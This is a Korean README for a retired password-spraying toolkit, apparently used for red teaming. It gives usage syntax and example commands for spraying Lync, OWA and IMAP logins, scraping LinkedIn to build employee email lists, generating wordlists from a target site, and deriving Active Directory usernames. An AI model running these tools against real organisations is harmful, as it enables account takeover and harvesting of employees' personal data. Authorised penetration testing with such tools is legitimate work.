
Lync/S4B, OWA 및 O365를 대상으로 한 패스워드 스프레이 공격을 훨씬 더 빠르고, 덜 번거롭고, 더 효율적으로 만들어 주는 스크립트
이 프로젝트는 더 이상 유지 관리되지 않습니다. 다음 대체 프로젝트가 더 우수하며 활발히 유지 관리됩니다:
Lync/S4B 및 OWA에 대한 암호 스프레이 공격을 훨씬 더 빠르고, 덜 고통스럽고, 더 효율적으로 만들기 위해 시도하는 Python 스크립트/유틸리티 모음입니다.
Discord에서 놀러 오세요!
다음과 같이 pip3로 사전 요구 사항을 설치하십시오:
sudo -H pip3 install -r requirements.txt
패키지를 전역으로 설치하고 싶지 않다면 Python 가상 환경을 사용하세요.
Asyncio와 Python 3.7 기반으로 구축된 Lync/Skype For Business 및 OWA용 엄청나게 빠른 암호 스프레이 도구입니다.
Usage:
atomizer (lync|owa|imap) <target> <password> <userfile> [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> <passwordfile> <userfile> --interval <TIME> [--gchat <URL>] [--slack <URL>] [--targetPort PORT][--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --csvfile CSVFILE [--user-row-name NAME] [--pass-row-name NAME] [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --user-as-pass USERFILE [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --recon [--debug]
atomizer -h | --help
atomizer -v | --version
Arguments:
target target domain or url
password password to spray
userfile file containing usernames (one per line)
passwordfile file containing passwords (one per line)
Options:
-h, --help show this screen
-v, --version show version
-c, --csvfile CSVFILE csv file containing usernames and passwords
-i, --interval TIME spray at the specified interval [format: "H:M:S"]
-t, --threads THREADS number of concurrent threads to use [default: 3]
-d, --debug enable debug output
-p, --targetPort PORT target port of the IMAP server (IMAP only) [default: 993]
--recon only collect info, don't password spray
--gchat URL gchat webhook url for notification
--slack URL slack webhook url for notification
--user-row-name NAME username row title in CSV file [default: Email Address]
--pass-row-name NAME password row title in CSV file [default: Password]
--user-as-pass USERFILE use the usernames in the specified file as the password (one per line)
./atomizer.py owa contoso.com 'Fall2018' emails.txt
./atomizer.py lync contoso.com 'Fall2018' emails.txt
./atomizer lync contoso.com --csvfile accounts.csv
./atomizer lync contoso.com --user-as-pass usernames.txt
./atomizer owa 'https://owa.contoso.com/autodiscover/autodiscover.xml' --recon
./atomizer.py owa contoso.com passwords.txt emails.txt -i 0:45:00 --gchat <GCHAT_WEBHOOK_URL>
@OrOneEqualsOne의 GatherContacts Burp 확장 프로그램을 몇 가지 개선 사항과 함께 mitmproxy로 포팅한 것입니다.
Google과 Bing에서 LinkedIn 프로필을 스크래핑하고, 지정된 패턴을 사용하여 프로필 이름에서 이메일을 자동 생성하며, 실시간으로 암호 스프레이를 수행합니다.
(Atomizer 기반으로 구축됨)
mitmdump -s vaporizer.py --set sprayer=(lync|owa) --set domain=domain.com --set target=<domain or url to spray> --set password=password --set email_format='{f}.{last}'
기본적으로 email_format은 {first}.{last} 패턴으로 설정되며 필수 인수가 아닙니다.
domain 매개변수는 이름에서 이메일을 생성하는 데 사용할 도메인이고, target 매개변수는 암호 스프레이할 도메인 또는 URL입니다.
mitmproxy 인증서를 설치하고, 브라우저에서 프록시를 설정한 다음, google 및/또는 bing에 가서 검색하십시오 (/in을 포함해야 합니다):
site:linkedin.com/in "Target Company Name"
이메일은 지정된 형식으로 emails.txt에 덤프되고 스프레이를 위해 Atomizer로 전달됩니다.
대상 웹사이트에서 모든 텍스트를 스크래핑하여 암호 스프레이용 맞춤 단어 목록을 생성하기 위해 AWS Comprehend로 보내 분석합니다.
아직 작업 진행 중
mitmdump -s aerosol.py --set domain=domain.com
이름을 Active Directory 사용자 이름으로 변환합니다 (예: Alice Eve => CONTOSO\aeve)
Usage:
spindrift [<file>] [--target TARGET | --domain DOMAIN] [--format FORMAT]
Arguments:
file file containing names, can also read from stdin
Options:
--target TARGET optional domain or url to retrieve the internal domain name from OWA
--domain DOMAIN manually specify the domain to append to each username
--format FORMAT username format [default: {f}{last}]
STDIN에서 이름을 읽으며, --domain은 도메인을 수동으로 지정하는 데 사용됩니다:
cat names.txt | ./spindrift.py --domain CONTOSO
names.txt에서 이름을 읽고, --target은 OWA에서 내부 도메인 이름을 동적으로 가져옵니다 (도메인 또는 URL을 지정할 수 있습니다)
./spindrift.py names.txt --target contoso.com